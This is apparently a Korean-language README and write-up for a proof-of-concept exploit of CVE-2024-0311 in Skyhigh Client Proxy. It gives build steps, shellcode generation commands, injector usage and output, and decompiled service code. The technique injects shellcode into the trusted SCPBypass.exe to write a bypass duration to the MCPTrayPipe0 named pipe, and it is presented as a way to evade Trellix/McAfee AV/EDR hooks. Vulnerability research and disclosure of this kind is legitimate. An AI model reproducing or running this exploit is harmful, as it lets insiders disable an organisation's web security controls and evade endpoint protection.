
CVE-2024-0311에 대한 개념 증명 익스플로잇으로, 프로세스 인젝션과 명명된 파이프 조작을 통해 Skyhigh Client Proxy 정책을 우회하며, AV/EDR 제한을 회피하기 위한 맞춤형 셸코드를 포함합니다.
이것은 제가 믿기에 CVE-2024-0311, SB10418에 대한 PoC입니다.
악의적인 내부자가 유효한 릴리스 코드 없이 Skyhigh Client Proxy의 기존 정책을 우회할 수 있습니다.
많은 세부사항. 매우 익스플로잇. ¯\(ツ)/¯
이 PoC는 사용자가 실행한 SCPBypass.exe 프로세스에 인젝션하여 SCPService.exe 파이프인 \\.\pipe\MCPTrayPipe0에 씁니다.
인젝션이 필요한 이유는, 파이프가 RW Everyone이더라도 WGUARDNT가 파이프에 쓰는 실행 파일에 대해 일부 검사를 수행하기 때문입니다(작성자 경로 확인). 아래 ACL 참조.
Trellix/McAfee가 실행 중이고 LoadLibrary를 후킹/차단하는 경우에도 파이프에 WriteFile을 실행할 수 있는 예제 셸코드가 제공됩니다.
Visual Studio에서 Debug 또는 Release로 빌드하세요.
다음 명령어로 셸코드를 생성하세요:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
그런 다음 셸코드를 shellcode.c에 넣으세요.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
예제 출력:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
모든 것이 잘 진행되었다면 SCP 로그 파일에서 다음과 유사한 항목을 찾을 수 있어야 합니다:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
간단한 분석을 하겠습니다. 말이 길 필요 없으니까요.
먼저 Skyhigh 프록시 클라이언트가 무엇인가요?
Skyhigh Security Client Proxy 소프트웨어는 사용자가 네트워크 내부 또는 외부에서 웹에 액세스할 때 발생할 수 있는 보안 위협으로부터 엔드포인트 사용자를 보호합니다. 클라이언트 소프트웨어는 Microsoft Windows 또는 macOS를 실행하는 엔드포인트에 설치되며, 웹 요청을 리디렉션하거나 필터링을 위해 프록시로 전달하도록 허용합니다. 서버 소프트웨어는 Trellix ePO SaaS 또는 Trellix ePO Cloud와 같은 관리 플랫폼에서 실행됩니다.
이제 이해가 되셨길 바랍니다.
권고문의 정보만으로는 알 수 있는 것이 많지 않습니다.
솔직히 말해서, 바이너리 서비스에서 LPE에 쉽게 익스플로잇할 수 있는 문제를 찾다가 CreateNamedPipe를 보고 관심을 가지게 되었습니다.
다음은 Ghidra에서 디컴파일한 코드를 빠르게 복사한 것입니다:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
함수가 호출되면 새로운 DACL 구조체가 초기화되고 새로운 파이프 \\.\pipe\MCPTrayPipe0이 byte mode로 생성되는 것을 볼 수 있습니다.
그런 다음 해당 파이프에 대한 핸들이 유효한 한, 프로그램은 파이프에서 읽고 전송된 바이트를 atoi(out_lpBuffer)로 ASCII에서 int로 변환하려고 시도합니다.
atoi에 더 나은 대안이 있다는 사실은 무시하고, atoi 호출이 실패하지 않았다고 가정하면, 변환된 값이 FUN_14022d5b0에 전달됩니다:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
이는 SetWaitableTimer를 호출합니다. 여기서 문자열이 원하는 흐름을 찾는 데 도움이 되었습니다.
여기서 중요한 점은 ScpService.exe 프로세스가 파이프에 누가 무엇을 쓰는지에 대한 검사를 전혀 수행하지 않으며, 데이터를 맹목적으로 신뢰하고 전달한다는 것입니다.
게다가, accesschk로 파이프의 권한을 확인하면 파이프가 RW Everyone으로 나타납니다.
따라서 익스플로잇은 기본적으로 다음을 수행해야 합니다:
CreateFile(): 파이프에 대한 핸들을 얻습니다.SetNamedPipeHandleState(): 바이트 모드로 설정합니다.WriteFile(): 데이터를 씁니다.CloseHandle(): 핸들을 닫습니다.이것은 말 그대로 몇 줄의 파워셸로 수행할 수 있습니다. 쉬운 승리죠? 아닙니다.
일이 그렇게 간단했다면 얼마나 좋을까요! 기술적으로는 그렇게 작동하는 것처럼 보였지만, 파이프를 열면 항상 파이프 클라이언트가 타임아웃되었습니다. 조금 더 파고들자 서비스가 다른 곳에서 ACL을 설정하고 있음을 발견했습니다.
ScpService에서 사용하는 기본 보안 설명자는 다음과 같이 초기화됩니다:
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
이는 DACL을 나타내며, 아무에게도 액세스를 허용하지 않습니다.
개체의 보안 설명자에 속하는 DACL(임의 액세스 제어 목록)이 NULL로 설정되면 null DACL이 생성됩니다. null DACL은 요청하는 모든 사용자에게 모든 액세스 권한을 부여합니다. 개체에 대한 일반적인 보안 검사가 수행되지 않습니다. null DACL은 빈 DACL과 혼동해서는 안 됩니다. 빈 DACL은 적절히 할당되고 초기화되었으나 액세스 제어 항목(ACE)이 포함되지 않은 DACL입니다. 빈 DACL은 할당된 개체에 대한 액세스 권한을 부여하지 않습니다.
가장 가능성이 높은 것은 ACE/DACL이 \\.\WGUARDNT에 위임되며, 이는 제한된 개체 목록에 대한 액세스를 부여하는 보호 계층(McAfee?)으로 보입니다:
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
음, 연결 실행 파일이 알려진 실행 파일/경로 목록과 비교하여 검사되고, 우리 사용자의 권한으로 실행된 SCPBypass.exe가 신뢰할 수 있는 앱 목록에 있는 것 같다면, SCPBypass.exe에 DLL을 간단히 인젝션할 수 없을까요?
물론 가능합니다! 하지만 Trellix/McAfee가 LoadLibrary 호출을 차단할 것입니다.
따라서 프로젝트에 사용되지 않은 InjmeDLL이 있습니다.
결국 @wolfcod가 급조한 빠르고 지저분한 솔루션을 선택했습니다: 프로세스에 이미 모든 것이 로드되어 있으므로 필요한 작업을 수행하는 셸코드를 인젝션하는 것입니다. 시스템 호출을 직접 호출하거나 다른 속임수를 시도하는 대신, 이 간단한 솔루션이 우리의 사용 사례에 잘 맞았습니다.
이로 인해 마침내 AV/EDR 솔루션에 의해 부과된 제한을 우회하고 작동하는 익스플로잇을 얻을 수 있었습니다.
👋 감사합니다.